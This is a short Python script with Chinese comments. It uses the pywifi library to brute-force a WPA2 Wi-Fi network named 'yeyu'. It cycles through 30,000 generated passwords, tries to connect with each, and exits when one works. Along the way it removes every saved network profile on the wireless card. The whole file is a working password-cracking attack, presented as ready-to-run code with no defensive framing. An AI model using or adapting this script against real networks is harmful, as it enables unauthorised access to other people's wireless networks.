import pywifi import time from pywifi import const # import threading # from gevent import monkey # import gevent # import multiprocessing # monkey.patch_all() def connect_wifi(password): wifi = pywifi.PyWiFi() # 创建一个wifi对象 ifaces = wifi.interfaces()[0] # 取第一个无限网卡 print(ifaces.name()) # 输出无线网卡名称 ifaces.disconnect() # 断开网卡连接 # time.sleep(1) # 缓冲3秒 profile = pywifi.Profile() # 配置文件 profile.ssid = "yeyu" # wifi名称 profile.auth = const.AUTH_ALG_OPEN # 需要密码 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密类型 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 profile.key = password # wifi密码 ifaces.remove_all_network_profiles() # 删除其他配置文件 tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件 ifaces.connect(tmp_profile) # 连接 time.sleep(0.5) # 尝试10秒能否成功连接 isok = True if ifaces.status() == const.IFACE_CONNECTED: print("成功连接") exit() else: print(password, "失败") return isok def task(start, stop): for i in range(start, stop): password = 'xxx' + str(i).zfill(5) connect_wifi(password) if __name__ == '__main__': task(0, 30000)